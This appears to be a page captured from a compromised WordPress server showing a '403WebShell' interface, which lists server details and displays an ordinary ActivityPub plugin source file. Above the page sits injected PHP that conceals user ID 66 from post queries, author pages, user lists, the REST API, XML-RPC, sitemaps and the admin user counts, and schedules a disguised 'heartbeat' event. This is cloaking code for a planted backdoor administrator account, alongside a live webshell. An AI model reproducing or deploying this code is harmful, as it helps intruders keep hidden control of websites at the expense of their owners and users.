add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/axel/wp-content/plugins/activitypub/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/axel/wp-content/plugins/activitypub/includes/functions-post.php
<?php
/**
 * Post functions.
 *
 * Functions for working with posts in ActivityPub context.
 *
 * @package Activitypub
 */

namespace Activitypub;

use Activitypub\Collection\Remote_Posts;

/**
 * Check whether ActivityPub processing should be skipped for this post.
 *
 * Pipeline-level gate. Used by schedulers, transformers, and the outbox to
 * decide whether a post participates in federation processing at all.
 *
 * Intentionally returns `false` for posts that are undergoing a federation
 * lifecycle transition — e.g., a previously federated post whose visibility
 * was changed to private, or a previously deleted post that was restored —
 * so that the Delete or Create activity can still be emitted to notify
 * remote servers.
 *
 * DO NOT use this as a content-exposure gate for REST metadata, block
 * rendering, content-negotiated frontend JSON, or any other surface that
 * reveals a post's current content or existence to unauthenticated readers.
 * Use {@see is_post_publicly_queryable()} for those: it answers the simpler
 * "is this post currently public?" question with no lifecycle escape hatch.
 *
 * @see is_post_publicly_queryable() For the current-visibility gate used by
 *                                   content-exposure surfaces.
 *
 * @param mixed $post The post object or ID.
 *
 * @return boolean True if ActivityPub processing should be skipped for this post, false otherwise.
 */
function is_post_disabled( $post ) {
	// Refuse empty input so `get_post()` doesn't silently resolve to the global $post.
	if ( empty( $post ) ) {
		return true;
	}

	$post = \get_post( $post );

	if ( ! $post ) {
		return true;
	}

	$disabled = ! is_post_publicly_queryable( $post );

	/*
	 * Lifecycle-transition override.
	 *
	 * A previously federated post that has since been moved to any non-
	 * publicly-queryable state (local/private visibility, non-public
	 * status, password-protected, or whose post type no longer supports
	 * federation) still needs the pipeline to run so it can emit a Delete
	 * activity. A post that was deleted but later restored needs the
	 * pipeline to emit Create. In both cases we flip the gate back open
	 * even though the post is not currently publicly queryable.
	 */
	$object_state = get_wp_object_state( $post );

	if (
		ACTIVITYPUB_OBJECT_STATE_DELETED === $object_state ||
		( ACTIVITYPUB_OBJECT_STATE_FEDERATED === $object_state && $disabled )
	) {
		$disabled = false;
	}

	/**
	 * Allow plugins to disable posts for ActivityPub.
	 *
	 * @param boolean  $disabled True if the post is disabled, false otherwise.
	 * @param \WP_Post $post     The post object.
	 */
	return \apply_filters( 'activitypub_is_post_disabled', $disabled, $post );
}

/**
 * Check whether a post's current content is publicly queryable via ActivityPub.
 *
 * Content-exposure gate. Use wherever a post's current content, metadata, or
 * mere existence could leak to an unauthenticated request. Unlike
 * {@see is_post_disabled()}, this function ignores the federation lifecycle
 * state: a post that was federated publicly and has since been made private,
 * local, trashed, or password-protected returns `false` here, even while its
 * Delete activity is still pending in the outbox.
 *
 * Use for: per-post REST metadata routes (reactions, replies, context,
 * remote-reply), block server-side render callbacks that expose post
 * content, content-negotiated frontend JSON. Do NOT use for federation
 * pipeline decisions — that's what {@see is_post_disabled()} is for.
 *
 * A post is publicly queryable when it satisfies ALL of the following:
 *   - `post_status` is `publish` (or a well-defined equivalent: published
 *     attachments inheriting from a public parent, or a preview requested
 *     by a user with edit capability).
 *   - Its `activitypub_content_visibility` meta is neither `local` nor
 *     `private`.
 *   - The post type supports the `activitypub` feature.
 *   - No `post_password` is set.
 *
 * @since 8.1.0
 *
 * @see is_post_disabled() For the pipeline-level federation gate.
 *
 * @param mixed $post The post object or ID.
 *
 * @return boolean True if the post is currently publicly queryable, false otherwise.
 */
function is_post_publicly_queryable( $post ) {
	/*
	 * Refuse to resolve an empty/zero input through `get_post()`. A bare
	 * `get_post( null )` or `get_post( 0 )` falls back to the global
	 * `$post` during a WordPress loop, which would silently check the
	 * wrong post and potentially leak reactions/replies/metadata for a
	 * looped-over post instead of the one the caller intended.
	 */
	if ( empty( $post ) ) {
		return false;
	}

	$post = \get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$visibility          = \get_post_meta( $post->ID, 'activitypub_content_visibility', true );
	$is_local_or_private = \in_array( $visibility, array( ACTIVITYPUB_CONTENT_VISIBILITY_LOCAL, ACTIVITYPUB_CONTENT_VISIBILITY_PRIVATE ), true );

	/*
	 * An attachment (`inherit` status) inherits its parent's visibility.
	 * Recurse into the parent so the attachment also picks up the parent's
	 * content-visibility meta, password protection, and post-type support,
	 * not just its post_status. Unattached attachments are allowed through.
	 */
	$is_attachment_public = 'inherit' === $post->post_status &&
		'attachment' === $post->post_type &&
		( ! $post->post_parent || is_post_publicly_queryable( $post->post_parent ) );

	// Draft, pending, and scheduled posts are allowed during preview requests so the Fediverse Preview works.
	$is_preview = \in_array( $post->post_status, array( 'draft', 'pending', 'future' ), true ) &&
		\get_query_var( 'preview' ) &&
		\current_user_can( 'edit_post', $post->ID );

	$is_public_status = 'publish' === $post->post_status || $is_attachment_public || $is_preview;

	$queryable = $is_public_status &&
		! $is_local_or_private &&
		\post_type_supports( $post->post_type, 'activitypub' ) &&
		empty( $post->post_password );

	/**
	 * Filter whether a post is publicly queryable via ActivityPub.
	 *
	 * @since 8.1.0
	 *
	 * @param boolean  $queryable True if the post is publicly queryable, false otherwise.
	 * @param \WP_Post $post      The post object.
	 */
	return \apply_filters( 'activitypub_is_post_publicly_queryable', $queryable, $post );
}

/**
 * Check whether a post is federated.
 *
 * A post is federated when it has been sent to the Fediverse (its federation
 * state is "federated") AND it is still publicly queryable, i.e. its post type
 * is enabled for ActivityPub, it has a public status, it is not password-
 * protected, and its content visibility allows it (see `is_post_publicly_queryable()`).
 *
 * Re-checking the live queryability alongside the stored state guards against a
 * stale "federated" status left behind when a post is moved to a private status,
 * switched to local visibility, or its post type loses ActivityPub support.
 *
 * The federation-state check also keeps `is_post_publicly_queryable()`'s
 * preview allowance inert here: a draft/pending/scheduled post is never in the
 * federated state, so the preview branch can never make this return true.
 *
 * @since 9.0.0
 *
 * @param mixed $post The post ID or object.
 *
 * @return boolean True if the post is federated, false otherwise.
 */
function is_post_federated( $post ) {
	if ( empty( $post ) ) {
		return false;
	}

	$post = \get_post( $post );

	if ( ! $post ) {
		return false;
	}

	return ACTIVITYPUB_OBJECT_STATE_FEDERATED === get_wp_object_state( $post ) && is_post_publicly_queryable( $post );
}

/**
 * Check if a post is an ActivityPub post.
 *
 * @param mixed $post The post object or ID.
 *
 * @return boolean True if the post is an ActivityPub post, false otherwise.
 */
function is_ap_post( $post ) {
	$post = \get_post( $post );

	if ( ! $post ) {
		return false;
	}

	// Check for ap_post post type.
	return Remote_Posts::POST_TYPE === $post->post_type;
}

/**
 * Get the description of a post type.
 *
 * Set some default descriptions for the default post types.
 *
 * @param \WP_Post_Type $post_type The post type object.
 *
 * @return string The description of the post type.
 */
function get_post_type_description( $post_type ) {
	switch ( $post_type->name ) {
		case 'post':
		case 'page':
			$description = '';
			break;
		case 'attachment':
			$description = ' - ' . \__( 'Files uploaded to the media library (such as images, videos, documents, or other attachments). Note: This federates every file upload, not just published content.', 'activitypub' );
			break;
		default:
			$description = '';
			if ( ! empty( $post_type->description ) ) {
				$description = ' - ' . $post_type->description;
			}
	}

	/**
	 * Allow plugins to get the description of a post type.
	 *
	 * @param string        $description    The description of the post type.
	 * @param string        $post_type_name The post type name.
	 * @param \WP_Post_Type $post_type      The post type object.
	 */
	return \apply_filters( 'activitypub_post_type_description', $description, $post_type->name, $post_type );
}

/**
 * Get the enclosures of a post.
 *
 * @param int $post_id The post ID.
 *
 * @return array The enclosures.
 */
function get_enclosures( $post_id ) {
	$enclosures = \get_post_meta( $post_id, 'enclosure', false );

	if ( ! $enclosures ) {
		return array();
	}

	$enclosures = \array_map(
		static function ( $enclosure ) {
			// Check if the enclosure is a string.
			if ( ! $enclosure || ! \is_string( $enclosure ) ) {
				return false;
			}

			$attributes = \explode( "\n", $enclosure );

			if ( ! isset( $attributes[0] ) || ! \wp_http_validate_url( $attributes[0] ) ) {
				return false;
			}

			return array(
				'url'       => $attributes[0],
				'length'    => $attributes[1] ?? null,
				'mediaType' => $attributes[2] ?? 'application/octet-stream',
			);
		},
		$enclosures
	);

	return \array_filter( $enclosures );
}

/**
 * Generates a summary of a post.
 *
 * This function generates a summary based on the post's excerpt or content.
 *
 * @param int|\WP_Post $post   The post ID or post object.
 * @param integer      $length The maximum length of the summary.
 *                             Default is 500. It will be ignored if the post excerpt
 *                             and the content above the <!--more--> tag.
 *
 * @return string The generated post summary.
 */
function generate_post_summary( $post, $length = 500 ) {
	$post = \get_post( $post );

	if ( ! $post ) {
		return '';
	}

	/**
	 * Filters the excerpt more value.
	 *
	 * @param string $excerpt_more The excerpt more.
	 */
	$excerpt_more = \apply_filters( 'activitypub_excerpt_more', '[…]' );
	$length       = $length - \mb_strlen( $excerpt_more, 'UTF-8' );

	$content = \sanitize_post_field( 'post_excerpt', $post->post_excerpt, $post->ID );

	if ( $content ) {
		// Ignore length if excerpt is set.
		$length = null;
	} else {
		$content       = \sanitize_post_field( 'post_content', $post->post_content, $post->ID );
		$content_parts = \get_extended( $content );

		// Check for the <!--more--> tag.
		if (
			! empty( $content_parts['extended'] ) &&
			! empty( $content_parts['main'] )
		) {
			$content = \trim( $content_parts['main'] ) . ' ' . $excerpt_more;
			$length  = null;
		}
	}

	$content = \strip_shortcodes( $content );
	$content = \wp_strip_all_tags( $content );
	$content = \html_entity_decode( $content, ENT_QUOTES, 'UTF-8' );
	$content = \trim( $content );
	$content = \preg_replace( '/\R+/mu', "\n\n", $content );
	$content = \preg_replace( '/[\r\t]/u', '', $content );

	if ( $length && \mb_strlen( $content, 'UTF-8' ) > $length ) {
		$content = \wordwrap( $content, $length, '</activitypub-summary>' );
		$content = \explode( '</activitypub-summary>', $content, 2 );
		$content = $content[0] . ' ' . $excerpt_more;
	}

	/*
	There is no proper support for HTML in ActivityPub summaries yet.
	// This filter is documented in wp-includes/post-template.php.
	return \apply_filters( 'the_excerpt', $content );
	*/
	return $content;
}

/**
 * Get the content warning of a post.
 *
 * @param int|\WP_Post $post_id The post ID or post object.
 *
 * @return string|false The content warning or false if not found.
 */
function get_content_warning( $post_id ) {
	$post = \get_post( $post_id );
	if ( ! $post ) {
		return false;
	}

	$warning = \get_post_meta( $post->ID, 'activitypub_content_warning', true );
	if ( empty( $warning ) ) {
		return false;
	}

	return $warning;
}

/**
 * Get the ActivityPub ID of a Post by the WordPress Post ID.
 *
 * @param int $id The WordPress Post ID.
 *
 * @return string The ActivityPub ID (a URL) of the Post.
 */
function get_post_id( $id ) {
	$last_legacy_id = (int) \get_option( 'activitypub_last_post_with_permalink_as_id', 0 );
	$post_id        = (int) $id;

	if ( $post_id > $last_legacy_id ) {
		// Generate URI based on post ID.
		return \add_query_arg( 'p', $post_id, \home_url( '/' ) );
	}

	return \get_permalink( $post_id );
}

/**
 * Get the visibility of a post.
 *
 * @param int $post_id The post ID.
 *
 * @return string|false The visibility of the post or false if not found.
 */
function get_content_visibility( $post_id ) {
	$post = \get_post( $post_id );
	if ( ! $post ) {
		return false;
	}

	$visibility  = \get_post_meta( $post->ID, 'activitypub_content_visibility', true );
	$_visibility = ACTIVITYPUB_CONTENT_VISIBILITY_PUBLIC;
	$options     = array(
		ACTIVITYPUB_CONTENT_VISIBILITY_QUIET_PUBLIC,
		ACTIVITYPUB_CONTENT_VISIBILITY_PRIVATE,
		ACTIVITYPUB_CONTENT_VISIBILITY_LOCAL,
	);

	if ( \in_array( $visibility, $options, true ) ) {
		$_visibility = $visibility;
	}

	/**
	 * Filters the visibility of a post.
	 *
	 * @param string   $_visibility The visibility of the post. Possible values are:
	 *                              - ACTIVITYPUB_CONTENT_VISIBILITY_PUBLIC
	 *                              - ACTIVITYPUB_CONTENT_VISIBILITY_QUIET_PUBLIC
	 *                              - ACTIVITYPUB_CONTENT_VISIBILITY_PRIVATE
	 *                              - ACTIVITYPUB_CONTENT_VISIBILITY_LOCAL
	 * @param \WP_Post $post        The post object.
	 */
	return \apply_filters( 'activitypub_content_visibility', $_visibility, $post );
}

Youez - 2016 - github.com/yon3zu
LinuXploit